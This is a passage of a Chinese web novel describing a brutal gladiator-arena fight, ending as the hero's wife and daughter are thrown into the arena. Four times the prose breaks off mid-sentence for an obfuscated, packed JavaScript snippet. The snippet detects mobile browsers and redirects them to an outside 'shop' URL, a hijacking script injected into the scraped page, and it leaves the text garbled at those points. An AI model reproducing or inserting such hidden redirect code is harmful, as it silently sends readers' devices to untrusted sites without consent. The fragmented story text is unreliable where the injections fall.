一个老元帅,两匹战马,射来的箭,手里紧握的剑,闻人佐他自己。 他需要将它们串在一起,奏出一曲通往自身胜利的晓歌。 远处的冷箭在逼迫他移动,不让他一直躲避。闻人佐活动自己的左臂,积蓄着力量。 就在“屠夫”又一次发动攻击时,他看准了时机,以剑卡住了他的残月弯刀,猛然旋身,剑身于他一同旋转,竟是将弯刀从老元帅的手中甩飞了出去。 剑豪使出了真实的实力,从现在开始不可能再留情面了。 闻人佐听到了锁链的响动声,他发现老元帅的弯刀末尾居然与缠绕在他身上的锁链连在一起,于是一把抓住那锁链,不让对方把弯刀收回去。 他们僵持的力道如此之大,以至于锁链捆紧了老元帅的身体,他像一个没有缝纫完好的沙袋,一挤,发出噗嗤一声,开始往下淌血。 “屠夫”顿了一下,他没有表现出来什么。但是闻人佐知道,这一下对他的伤害不小。他已经太老,不再拥有一个健壮的、可以反复割裂受挫的躯体。 如果可以,闻人佐并不想这样对待一个老者,他们都是先王忠诚的部下,原是一个战线上的人。但是姜昆维掐住了老元帅的命脉,让他变成了一个供人玩乐凶残屠夫。闻人佐贸然决定替他结束这一切,不管对方有怎样的想法。 他们都是那个两面三刀的王的受害者,受害者不应如此对待彼此。 但是,姜昆维将他们放在一起,给了他们冲突的欲望,让他们互相厮杀。 一个受害者,去残害另一个受害者,或许,这是那个摄文王最喜欢的戏码。 但他管不了那么多了。 老元帅僵在了原地,他仍在流血,但他依然反反复复和闻人佐争夺锁链,那般急迫,那般想要再次抢回自己的武器,仿佛如果不这么做,不拿回那残月弯刀,不胜利的话,会有天底下最恐怖的事情发生在他的身上。姜昆维会如何对待束延将军邹炎庆,老元帅邹缚又会迎来怎样比死还残酷的结局,这些都是可想而知的噩梦。 但闻人佐管不了那么多了。 现任的大元帅规整了自己的姿势,剑锋直指“屠夫”,他看着那个落魄的老者,想着,或许那些反对他的元老大臣也是这么看自己的。一个过去的亡魂,一个在痛苦中被束缚的灵魂,一个落魄者,他和老元帅没什么区别。 他杀了老元帅,那么,谁会向他自己执起一同今日的剑锋? 算了,他管不了了。 一剑割裂空气,刚才的思绪只占用了短暂的须臾。当下,老元帅惊恐地看着向他袭来的闻人佐,他已经太过苍老、伤痕累累,无法迅速地回避。 邹缚怔愣着,一丝哀求从眼中浮现,低哑的嗓音从口中出现,“佐……” 闻人佐听见了他的呼唤,也听见了剑身劈开头颅的声响。 “嗬啊啊——”剑豪双手抓着剑柄,尽力下压,它切断了骨骼,搅碎了器官。他尽量快速地完成这一切,将死亡在一瞬间带给那可悲可叹的人。 到了喉咙,闻人佐没有收手。到了胸腔,闻人佐没有收手。上身裂成了两半,最终,是那些缠绕在老元帅身上的锁链阻止了他。 闻人佐一把抽出剑,带出了血,也带出了他滔天的、无法宣泄的杀意。 以上这些,几乎都发生在一瞬间。 黑骑没能赶过来,弓手也来不及放箭。 绝生幕的冠军“屠夫”就这么倒下了。 场上安静了一瞬间,似乎所有人都在屏息凝神,亲眼目睹一个死神带走古老的亡魂。 片刻之后,剧烈的骚动爆炸开来,掌声和欢呼声久久不绝。 “还有什么——”司戈高喊着,传话员也感染了他的高昂,将感叹的惊语带去戈首的每一个角落,“还有什么!!我可亲可爱的观众们啊,那是一个来自地狱深处的厉鬼,你们看得到吗!!” 两个黑骑士在一旁驻足,马儿在原地犹豫。 闻人佐擦去剑上的血,露出一副游刃有余的姿态。就在这时,一只弓手的冷箭嗖一声坠来,闻人佐看也没看,信手一挥,将那只箭打掉,它断成两截,朝不同的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573084|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向飞速地旋转着崩开。 一截裂箭崩到了马儿的身前,刺入它面前的地面,它有些惊慌,载着主人掀起了蹄子。 男骑士低头安抚骏马,然而,就在他懈怠的一瞬间,大元帅的身形已经如鬼魅一般瞬息而至。 一剑横劈,黑马的前腿错位,断成两截。它嘶鸣着,向前栽倒,将自己的主人送到了敌人的剑锋上。 闻人佐几乎不需要动,他只是看清了马匹栽倒的轨迹,将剑固定在那个路径上,纹丝不动。 骑士的头盔下露出了惊恐的视线,而露出那种视线的眼珠,在极速的下坠中,精准地被剑身刺中,一穿到底。 骑士的额头直接撞在了闻人佐的肩甲上,后者一甩手,男骑摔在地上,头颅在地面弹了两下,没有了动静。 一切发生得那么快,另一个女骑根本来不及援助自己的同僚,她拉住身下的战马,举起长枪,却是露出了一副防御的姿态。 “元帅已经没有对手!!”司戈适时地出现,添油加醋,喊道,“还有谁能战胜他?一只骑兵队够吗?一排弓兵够吗?观众们,告诉我,你们想看到谁来到这个战场上!” 观众们开始起哄,不同的人喊着不同的名字,混杂在一起,变成巨大的嗡鸣声,听不清楚。 司戈装模作样,将手掌贴在耳后,“什么?什么!你们是在呼唤那个远古的部落,活在西部的那个与风雪和野兽作伴、驯化了整片天地的民族吗!” 观众的叫声络绎不绝,然而,众人只是各叫各的,没有给出一个确切的名字。 “我听到了,我听到了你们的呼唤!”司戈夸张地说,他一条胳膊伸向高空,似乎在请求什么东西从空中赐福、坠落。不管观众中是否有人提到了这个名字,他依然如此说道,“远古的巨人,西方的猛兽,来到你的战场,亮相吧!” 大地在震颤。那是一种来自深处的嗡鸣,它那么近,那么远,让人无法辨别具体的距离。 闻人佐捏紧了自己剑,他知道自己即将面临什么,那是时代的弃物,属于上个世纪的原人,以及被其征服的巨兽。一人一兽的组合名为“乌鲁”。 他们不是这个时代的人和物,他们自大寒潮之前诞生,却没有在那个寒冷的时代灭绝。虽然遭到了重创,但是,依然有那么几只部族存活。 他们不通人言,却有着人类的模样。他们描绘着大寒潮之前的景象,用沙土、用树枝,因为,只有他们见过那时的模样。 原本,他们只是生活在极寒的西部,孤单、神秘,然而,是姜昆维将他们带进了摄文。 王有很多藏物,它们来自这片土地的各处。西边的冰原,极北的汉漠,远海的礁石,更多的还是南部的珍稀玩物。 他为那些古老的种族提供了无忧的生活、充足的食物,将那些巨形的生物眷养在自己的一方领土中,供他嬉戏、玩耍。 闻人佐见过他们,他曾经庆幸过,庆幸他们已成时代中的影子,不会再降临在这片大地上。 “居然连这东西都放出来了……”闻人佐小声念叨着。他想,或许姜昆维当真享受自己的落幕,居然将最喜欢的玩物也送上了这场决斗之上。 165. 投入角斗场5 场上最大的铁门已经不知多久没有开启,它发出迟钝的声响,缓慢地敞开,像是张开了一张血盆大口,要从深渊里吐出什么东西来一般。 “银弓”寂尔缩进了角落,那女黑骑也收起了自己的长枪,勒紧缰绳,控制着有些受惊的黑马。 闻人佐则站在场地中央,面对着那扇巨门之后的生物。 一阵古老的、腐朽的气息从门后传来,那是属于这片土地的记忆,但闻人佐并不熟悉它。 一个庞大的身影从门后面现身,那是一只棕色的巨兽,有两根白色的獠牙,只那一根獠牙就比闻人佐的整个身躯都要庞大。随着行进的步伐,它左右摇晃着头颅,巨大宽阔的背上坐着一个黝黑皮肤的男人。那个男人板着脸,捏着一根拴紧了巨兽的缰绳,好奇地打量着周围。 它便那般闲庭信步一般来到了角斗场上,黑色皮肤的男人四下望去,看到观众席上的人们,突然,他笑了开来,露出自己尖锐的牙齿,他连牙齿都和一般人不一样,颗颗都是尖的。他欢呼了起来,似乎在享受这万众瞩目的时刻,高举手中的权杖,那权杖看上去不是一把武器,只是某种权利的象征。 一排头骨挂在那巨兽的牙齿上,那是人类的残骸。在这生灵的践踏之下,不知造就了多少亡魂。 仅剩的黑骑士在向后退去,从她身上传来了胆怯的意味。“银弓”直接潜入了阴影中,尽量藏起了自己的身形。 闻人佐依然站在原地,他感觉自己是那么的渺小,就算把剑插向巨物的心脏,它那么细,根本无法穿透它深厚的被毛,更不用说对它造成什么致死的伤害。 古老族裔的后代激昂地笑着,在欢呼声中,他猛地拽了一把缰绳,嘴里发出令人胆寒的、不明的叫声。 “哟、哟哟哟哟——”那声音像是某种召唤,他身下的巨兽苏醒一般,抬起了沉重的头颅,它粗壮的鼻翼吐着白气,在冷风中形成厚重的阴云。它嘶鸣着,那声音贯彻天地,将整个场地里所有人的欢呼声都盖了过去。 欢呼声持续了多久,它便叫了多久,直到人们渐渐停了下来,感受到那古老种族的威慑力,认识到自己面前的究竟是什么,仿佛感受到祖先的头颅曾在那巨兽的践踏下碎裂,而不再欢呼了。 巨兽停止了嘶鸣,它狂奔起来,而那个古老的族裔稳稳地坐在他背上,痛快地嚎叫着。他们向在场的闻人佐和黑骑士冲了过来,地动山摇。 闻人佐伏下了身子,脚下在震颤颠簸,连重心几乎都要控制不稳。 那巨物朝他们冲过来,四条腿在地面掀起尘埃,将那些埋藏在地下的遗骸翻出来,让沉积了多年的血腥之气弥漫开来。 就在它临近时,闻人佐看准了时机,从它身下穿了过去。他目标小,行动也迅捷,轻松便躲过了袭击。 然而,场上的另一人却没有那么好运。 黑色皮肤的原人读不懂人类的语言,他显然不知道,今日,他来到这个决斗场上,究竟是为了杀死哪种样貌的人。或许,在他的眼里,他们这些东边的人,长得都一样。 他的目标锁定在了那黑马黑甲的女人身上,巨兽疯了一般向他跑去,四条粗壮的腿踩下一个个脚印。它身躯庞大,速度也快,几步便追上了那矫健的、逃命的黑马。 闻人佐只看到了巨兽远去而掀起的阵阵尘土,他听见黑骑士的惨叫声,然而,下一刻,它像是突然被什么切断了一般,一点余音也没有了。 巨兽掉了个头,露出了它行进的轨迹。 在那轨迹之上,有一块扁平的黑色印迹,没有任何的起伏,仿佛是放在地面上的一张薄薄的纸,也没有任何的厚度。 闻人佐不需要凑近了去确认,他知道那是什么。黑骑士已然变成了角斗场的一部分,她的血肉、铠甲和战马的皮毛、骨髓粘在一起,不分彼此,浸入了大地。 场上所有人都看到了这一幕,一个鲜活的生命逝去,这在戈首很常见。但是,选手被外族人杀死,这并不常见。 观众们看着这个远古的巨兽,像是感受到了某种远古的恐惧一般,纷纷闭紧了唇齿。 有多少人,只是听说过它的传说,却从未见过它碾碎敌人的模样。 巨兽转过来,抬起头来,白色的眼睛看着高处,掠过了看台上的每一一个人。似乎,那些浅色皮肤的人种,都是它攻击的目标。巨兽发出进军一般的吼声,它的主人叫出尖锐的声响,那声音传入了每一个人的耳中。 就在这时,一只箭射向乌鲁的方向,咻的一声,它插在巨兽的眼睛上。巨兽啸吟一声,其上的原人立刻圆睁双目,往利箭飞来的方向看去。 “银弓”寂尔站在场地另一侧,目光惊惧,动作慌乱,正在搭下一只箭。 黑皮肤的原人发出一阵怒吼的声响,在他的指令下,失去了一只眼睛的巨兽行动了起来,往弓箭手的方向冲刺而去。 它的速度是那么快,闻人佐能看出寂尔几乎是一瞬间就后悔了,在巨兽急速的逼进中,他丢了自己的弓,沿着场地的边缘尽力狂奔。 巨兽的身体挡住的寂尔的身影,闻人佐看不到接下来发生了什么,只听到一声巨大的撞击,“乌鲁”砸在了围墙上,而后,它便安静了下来。 紧接着,它慢悠悠地走开了。而它刚才撞上的墙面上,有一滩成年人大小的血渍,碎裂的盔甲砌进了墙里,弓手的长发挂在石缝之间,已然看不人体原本的形状。 黑皮肤的原人发出欣快的嚎叫,巨兽载着他来到看台前,他和那些一层的观众近距离对视,伸出舌头,双眼大睁,脸庞狡黠地笑起来,嬉皮笑脸向看台上的人打招呼。 那究竟是招呼,还是某种出自不同族类的侮辱,在听不懂他语言的当下,没有人能够说得清楚。 “看,我们的乌鲁在和观众们打招呼,他在、呃、他在——”司戈一时结巴,不过一瞬,他为那场景找了个好听的描述,“他在和观众们友好地互动!” 或许场地另一侧的人会相信他的话,但是,与那“乌鲁”隔着一道墙壁的人们显然不这么想。怒斥声、厌弃声、恐惧的叫嚷一并传来,人们发出嘘声,想要这与他们不同的异族远离看台。 然而,对面的男人却不理解,他不理解这些人种的语言。在他们的厌弃声中,他越发兴奋,操控着身下的巨兽,像是为了让气氛更热烈一般,向那观众席前的围墙上撞去。 地动山摇。墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573085|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体上出现了不易觉察的裂纹,有孩童的哭声传来,观众席上的位置十分紧凑,人们积在一起,无法散去,只能承受的“乌鲁”的兴奋所带来的后果。 那很危险。现场的人都已经感受到了,而闻人佐也不例外。 那些看台上的观众……他们只是普通人。闻人佐想道。他们活在摄文,每天早上起床,和家里人见上一面,而后,就要奔赴工作场地,在集中的大楼里,一直待到夜晚,这个城市的压力让他们不得不找一些宣泄口。他们趋向娱乐的风潮,也并非发自其真心,而是环境使然。 闻人佐了解这一点,所以,尽管那些看台上的人在为了他的死亡而欢欣雀跃,但对他而言,他们仍是一些无辜的、愚昧的、可怜的、无助的城民。 他提起了自己的剑,向前走了一步,而后,又往前走了一步。 他捡起了死去的“屠夫”的弯刀,拿在另一只手里,猛地,将自己手里的两把武器撞击在一起。 一声接一声,铁器的碰撞声传遍了整个场地,连兴奋的乌鲁也听见那声声震鸣。 乌鲁转过来,像是这才看到角斗场上那个形单影只的人。 闻人佐已经吸引了足够的注意,他扔下了弯刀,空出自己的手,朝乌鲁伸去,手掌朝上,两指晃动,勾了两下。 那是挑衅的意味,他不管对方的族类是否懂得相同的手势,但不屑的表情已经给出了提示。 乌鲁的注意力从观众席上分散了开来,它正视着向他挑衅的异族的男人。 观众在看着,看着男人是如何引走了那远古的巨兽。 在场地中间的,那个被他们当做玩物看待的元帅,是和他们一样的北地人。棕色的发,蓝色的眼睛,透红的白色皮肤,他们是一类人。 而他站在那里,仿佛一个领袖一般,向那远古的巨物举起了自己肃杀的剑刃。 “元帅……”清冷的空气中,寂静的氛围里,这样一个势单力薄的声音传来。它那么突兀,那么单薄,可却穿透了赛场,传到了每一个角落,“大元帅……加油啊!” 回声荡漾在场地,传入了闻人佐的耳中。 在乌鲁践踏大地的颤动中,又一个声音传来,“元帅,活下来!” 乌鲁在加速,它掀起了尘埃,带着令人毛骨悚然的恐惧向闻人佐奔腾而来。他们之间体型差距之大,就像用一只大军去攻克一个没有任何武装力量的村落,看上去没有任何希望可言,有的只是杀戮、践踏。 猛兽在袭来,闻人佐捏紧了自己的剑。 冷静下来,判断局势。小腿上有一处伤,那迟缓了他奔跑的动作,不过,在那庞大的生物面前,跑没有用。巨大的体型差消弭了速度的差距,自身如何灵敏,在这样的对手面前,那点优势根本发挥不出来。 他有什么可以利用的东西?闻人在对手袭来的短暂空隙里,思考着这件事情。一把剑,地上的弯刀,骑士散落的长枪,围墙,观众。对面是巨兽、远古人,他们需要把这些东西组合在一起,就像刚才从那四人的包围中取胜一样。 眨眼间,巨兽带着一股腥恶的风而来,它三瓣的脚掌高高抬起,遮住了阳光,朝那地上的小人踩下去。 166. 投入角斗场6 闻人佐一个侧身,从它的脚掌下滚出来。它又抬腿踩他,他继续躲闪。 逃窜的间隔中,野兽侧着头,用它一侧眼睛看着闻人佐,那眼睛看不到瞳孔,只有一个白色的球体。它嚎叫起来,似乎在愤怒,因为没能一脚踩烂脚下的虫子。 尽管巨兽跑起来很快,但动作却很慢。闻人佐想道。他捏了一把剑柄,一边闪避着巨兽的践踏,一边盯着它那粗壮的四肢。 不知跟了自己多年的剑能否够刺破它的皮肤。 危机关头,看台上的司戈还不忘为战斗倾情解说,“看哪,乌鲁使出了他的独家技能!这项地动山摇的践踏技艺,虽不知它古老的名字是什么,但显然,它曾经让无数文明生灵涂炭!我们的元帅能坚持到什么时候呢,他还要一直逃吗,他逃得了吗!” 几次三番没有踩中地上的人,乌鲁高吟了一声,抬脚跑去了一旁,回身面向闻人佐的方向,似在蓄力,准备着下一次突击。 居然还会拉开距离重新调整。满身灰尘的闻人佐想道。看来这个乌鲁不像它看起来的那么蠢笨。 看它的獠牙,它的四肢,那些在它身上拴着的、将它粗糙的皮肤磨白了缰绳,想必,这东西已经被战争驯化,为此而生,为此而死,十分懂得战场上的技艺。 紧接着,它怒号,向闻人佐冲过来,那不再是随意散漫的奔跑,它的四条腿几乎变成了一个大型的车轮,所到之处,一切物质都被压平,碾进泥土里。 巨兽冲来,闻人佐一再攥紧自己的剑。 这次,他看准了时机,在第一只脚盖在他的头顶,即将将他踩扁的时候,他反而向内进行了一个闪身,没有避开巨兽的践踏范围,而是藏在了它的身下。 霋时,庞大的身躯笼罩在头顶,隔绝了所有光明。 乌鲁似乎注意到了身下的小人,开始原地进行连番的践踏。 闻人佐知道不能耽搁,他目光紧盯巨兽的后腿,在一次次的躲避中接近它,而后,看准时机,一剑刺入它的膝窝! 因为无法判断皮肤的厚度,他用了十足的力道,值得庆幸的是,剑顺利地插了进去,闻人佐低吼一声,用全身的力量撞在剑柄上,期望这一下能造成切割伤,并顺着这股力道从巨兽的身下窜了出来。 他听到了一声悲鸣,那是巨兽惨烈的叫声,小小长剑,犹如一根插进人体的竹签,不至于致死,但会疼痛难耐。 巨兽抬起了自己那只受伤的脚,三条腿放弃了持续践踏的动作,它便那么直直地坐下来,咚一下倒在地上。 闻人佐在远处看着,倒是没想到效果会这么好。 巨兽蹲坐在了地上,蜷缩起自己的身体,白色的眼睛侧视着闻人佐,似乎在观察人类的动作。 “元帅——元帅——” 看台上似乎有人在叫他,但闻人佐充耳不闻,他不能分心,观众无论说了什么,他不能在意,不能将注意力从战场上转移。 闻人佐紧盯着眼前的巨兽,它什么叫声也不发,獠牙下的巨口闭着,有着向上勾起的弧度。从闻人佐的角度看去,它似乎在笑,仿佛刚才的痛鸣都是在装模作样。 这一瞬间,一股毛骨悚然的感觉从闻人佐的背后激起来。 哪里不对劲,究竟是哪里? 他的心脏怦怦直跳,不好的预感愈发强烈。像是死神在接近,他总觉得脖颈后的汗毛被什么触动。 视线聚焦在乌鲁之上—— 乌鲁?不,那不是乌鲁,那只是一只巨兽。 它背上的人不见了! 就在这一刻,几乎是本能地,闻人佐往前方一扑,只听咚的一声,身后传来一声巨响。 他趴在地上,回头,只见那个黑皮肤的原人就站在自己刚才的位置上,手里拿着一把石斧,石斧已经嵌入了地面。 刚才,若不是他往前扑倒,恐怕已经被它劈成了两半。 这家伙是什么时候从巨兽身上下来的? 闻人佐根本没看见。 难道是因为认为巨兽的行动迟缓,难以对抗地上灵敏的人,所以这原人就跳下来亲自作战吗? 巨兽刚才完全是在没有指令的情况下在践踏、演戏、配合他? 怎么可能有这种…… 大元帅的思绪中断,他听到原人大吼了一声,那黑皮肤下的肌肉膨胀起来。他从地面抄起了斧头,高举过头顶,再度向闻人佐劈来。 闻人佐的剑还插在巨兽的腿上,无以抗衡对手的石斧,只能翻身躲闪。 又回到了逃亡的局面,这样下去不行。 闻人佐回头,看了一眼那个巨兽,它依然趴在那里,像是确信自己的主人能够杀死敌人一般,游刃有余,不曾动作。 又一计猛劈砸在他面前,闻人佐向后退去,却发现自己离那巨兽越来越近,那个原人在故意将他往巨兽的方向逼赶。 而一旦他想要从两点一线的包围中冲出去,那远古人借着身高的优势追上来,提着巨斧逼进,将他赶回一条直线上。 那人发黄的牙齿露出来,笑着,嘴里咕哝着异族的语言,似乎在咒骂些什么,口水从嘴中喷溅,甚至有上一顿食物的残渣。 闻人佐听不懂,但他能从男人的神情中判断出来,对方在针对自己的身手说些什么。可能他在说,这家伙真难杀。又或者他在说,像个老鼠一样跑来跑去。 闻人佐猜差不多就是这些词句。 他再度回头,丈量了一番自己与巨兽的距离,如果再往后的话,他就会进入那个巨兽的攻击范围。 当下,它近乎温顺地趴坐在那里,用白色的眼瞳盯着他。 这时候,远古人吆喝了两声,巨兽突然有了动作,它似乎有些趴累了,换了个姿势,闭上了眼睛。它的身型一动,伸出一侧的后腿来,叮的一声,那插在它腿上的剑也露了出来。它像是亟待救治,将伤口暴露出来,邀请着谁来拔走它腿上那根恼人的刺。 是陷阱? 闻人佐皱眉想道。 原人的攻击没有停下,他依然在逼迫闻人佐向后退。 可是就算是陷阱,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573086|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要试一试,现在,他手里没有武器,只有把剑拿回来,才有反击的机会。 闻人佐如此想着,将计就计地靠近自己的武器。 “大元帅——元帅啊——!!” 场上总是有人在呼唤他,他不知道那是谁,是一个人,一个群体,还是零散的人们。 风向总是变得很快,他自己有时候也弄不清楚,这究竟是这个城市的问题,还是自己的问题。 在他的观念里,人们并不是那么善变的生物,就像他自己,因为五年前的迷惘,而作为一个目的坚定的孤魂,即便受尽了众人的折辱,也苟延残喘到了现在。 他本以为——或者说,下意识认为——人们都和他一样,他们都是为了某个坚定的信念而存活于这个世上。 这世上有不少这种人,但是,他们不是摄文人。 在姜昆维的领导下,摄文无可救药。或许是男人最先就无可救药,所以将这个城市变成和他如出一撤的模样。 闻人佐充耳不闻,这是他的狭隘。如果,他多看看那些满是工人的高楼,多看看他们眼中的麻木和疲惫,多看看那些没有童年的孩子,以及人们转瞬即逝的、肆意挥霍的热情,或许,他就能早一步意识到姜昆维为他们带去的是怎样一个世界。 如果他能早些看穿摄文王的虚伪,看穿他漂亮的、华丽的辞藻和泡沫,看见人们生活在如何水深火热之中,或许,他还来得及去拯救他们。 如果他做了什么——在姜昆维决定建立角斗场的时候,驳斥他;或者在他决定将同工种的人们聚集在同一片区域,实现区块化管理,减少各界的交流频次,保证效率最大化的时候,反驳了这个毫无人性的做法,也许,今天他就不会站在他亲眼看着一层层搭建起来的角斗场上,自食其果。 这座城市也是他的失败。他从先王的手里接过它,发誓保护它,却无视了它败坏的内里。 如果有机会的话,他也会想要用剑去斩断这一切,无论他的剑能挥多远。 “元帅,别去啊——” 就在此刻,不知为何,在那嘈杂的场地中,他听清了观众席上的声音。 说来很奇怪,在听清这声音一刻,闻人佐突然觉得,它很熟悉。 似乎从最初的时候,第一个朝场地上喊话,为他加油打气的,就是这个声音。虽然,那声音逐渐有了一些应和者,但是,当所有人的声音汇聚在一起,闻人佐听到的,却还是一个青年的声音。 它那么耳熟,却无法激起脑海里一丝一毫的相关的记忆,那声音仿佛代表了一个群体,犹如众魂的呐喊。 这究竟是—— “回头——回头!!” 闻人佐朝声音发出的方向看去,在乌泱泱的观众之中,他看不到任何值得视线停留的身影。 到底是谁……到底是谁一直在呼唤他? 他回想了一番自己的支持者,在那稀疏的几个男人女人的影子中,他找不到一个和这个声音匹配的脸庞。 那究竟是谁,是什么人—— 167. 投入角斗场7 突然,阴影笼罩在他的头顶,闻人佐闻到了一股腥臭的味道,一股裹挟着恶臭的热气从后面袭来,隆隆的震动在背后响起,他感觉有什么东西包围了他。 眼前,原人举着巨斧向他劈来。然而,闻人佐却没有选择避开。 在前进和后退之间,他选择了前者。或许,是因为下意识的判断,又或者,是因为他想要相信那个一直在呼唤他的声音。 闻人佐朝原人扑去,压低身体,堪堪避开他的斧子。木棍砸在肩上,顿痛让他闷哼出声,但他没有畏缩,就那么向前,如一头牛一般,一手掐着对方的喉咙,一只手和远古人一同抢夺手柄,肩膀扛着巨斧的重量,他将对方扑倒在地。 闻人佐听到身后砰的一声,像是什么东西骤然闭合。他回头,见到那巨兽醒了过来,它睁着眼睛,像狩猎者一样盯着闻人佐,它的头是横着的,牙齿闭合,像是刚刚要咬住什么一般,獠牙上挂着的凶骨四溅而散。 如果刚才自己没有向前,恐怕上半截身体已经在那巨兽的口中。 它刚才佯装休憩,甚至将剑柄露出来,就是为了引诱闻人佐上当。这是个诱人的陷阱,“乌鲁”知道他绝对会往里面跳。 他们是成熟的猎人,这样的配合,显然不是第一次了。 身下的原人挣扎着,他的体魄十分的健壮,黝黑的皮肤像是吸纳了日光一般,看着健硕有力,体型比他们这些东边的人整个都大了一圈。 闻人佐压制不住他,为了避免被反扑,他立刻脱身,从一人一兽的包围网中逃了出去。 两点一线的牵制被破解了,他们又回到了最初的局面。 那原人从地上跳起来,呦呦叫了两声,靠近巨兽,一把拔出了闻人佐的剑,像是战利品一般纳为己用。他像猿猴一样灵巧,几步就跨到了巨兽的背上。巨兽重新站起来,毫发无损一般。 当下,闻人佐更加确信,那是乌鲁的骗局,这场战斗带着表演的性质,几乎是一场作秀。 乌鲁重新合二为一,恢复了一开始的状态,上面的黑皮肤男人盯着闻人佐,似乎在思考接下来跟他玩什么游戏一般。 “看样子,这场战斗又会难舍难分!”司戈再度喊道,“大元帅已经失去了他的剑,但是,他的意志没有降服!观众们,这样下去,这场胜负直至深夜也无法结束,让我们为它增添一些新料吧!” 随着声音,又一道大门开启。 闻人佐不以为意,不管往场地上投入怎样的敌人,不过是在为他增加可利用的兵器。 但他还是斜看了一眼,为了看清楚来的是什么。 那是一扇不大的门,向上缓缓开启,一匹有些惊慌的马跑出来,它身后拉着一辆马车,朝闻人佐的方向奔来。 这个速度……想要撞上他,简直是妄想。 闻人佐想着,微微往一侧移步,看着那马车在自己身旁擦肩而过,奔向乌鲁的方向。 马没有停步,瞎了一般,只是毫无头绪地往巨兽方向跑。 “什么鬼把戏。”闻人佐低语。 突然,一丝微弱的泣音传进他的耳朵,那是从马车里传出来的。 闻人佐顿时怔愣在原地。 下一刻,男人的身影已经冲了出去,他摆动着自己的双腿,用上了所有的力气,视线锁定在那个急速奔腾的马车上,恐惧攀上了他的眼睛。 不可能。他在心底这么说着。怎么可能会让她们—— 他的双脚跑不过惊慌失措的马,那匹马直朝乌鲁而去,而下一刻,一根利牙直接刺穿了它的胃部,将它挑了起来。 马儿发出濒死的悲鸣,而拴在它身后的马车也被提了起来,摇摇晃晃地悬在空中。 马车的后门开了,一团影子从那之中掉了出来。 闻人佐伸手,像是渴水的濒死者一般,双臂大张,接住了坠物,稳稳地抱在怀里。 他感到后知后觉的恐惧。 从那马车里掉出来的,是他的妻子和孩子。 她们满身污浊,像是从泥土中爬出来一般,母亲紧紧搂着孩子,孩子紧紧抱着母亲,两人将彼此束缚,幼小的哭泣声从母亲的怀里传来。 闻人佐接住了她们,惊魂未定。 “宝娇!”他向女人呼唤。 女人抱着孩子,她的双臂很紧,坠落的撞击也未曾使其张开。她的双脚赤|裸着,脚踝是肿的,不知遭受过怎样的对待,但显然,她已经无法走路了。 看着这一切,闻人佐心如刀绞,他将她们抱起来,往远处跑去。他背后,乌鲁顶着那匹马的尸体和已经破破烂烂的木马车,像在玩什么抛物游戏一般,用獠牙将它翻上翻下,玩得不亦乐乎,没有在意跑远的闻人佐。 马车已经碎了,马匹的身体变得柔软,无骨一般。 闻人佐将母子里放在中间的圆柱下方,倪宝娇还是搂着闻人芹,不肯松手。 “宝娇,是我!”闻人佐喊道,他一边关注着乌鲁的情况,一边摇晃着倪宝娇。 闻人芹的哭声从女人的怀里传来,小小的女孩蜷缩成了一团。女人支吾了一声,无神的眼睛向闻人佐看过来,她额头上有干涸的血液,从发丝间流出来,蔓延到了苍白的脸上,“阿佐……” “是我。”闻人佐抱着她,她只穿了一件单薄的衬衫,男人将自己的外裳解下来,裹住她和她怀中的孩子。他抚摸着她的脸庞,看着这个刚刚与他解开了心结的女人,这个他还仍未来得及为她做什么的女人,这个他亏欠太多的女人,“宝娇,听我说,带着小芹,我会想办法把你们弄出去。” 倪宝娇失神般的目光看向周围。她一定看到了观众席,看到了乌鲁,看到了这遍地的血迹和残骸。他们深陷地狱之中,而女人的视线却未起波澜,麻木了似的。她收回视线,轻声道:“把小芹救出去,阿佐。” 倪宝娇将怀抱张开,闻人芹从她的怀里露出了头来。女孩满脸都是眼泪,泪水在她的脸上结霜,寒冷在她的脸蛋上留下斑驳的红痕。 “爸爸……”她委屈地叫着,声音破碎。 闻人佐将她拥入怀中,他感受到她小小的身躯在颤抖。 光是自己还不够,居然将他的妻女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573087|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投入角斗场,这般对待她们。让他的妻子受伤,让她的女儿哭泣。他不能忍受,无法忍受。 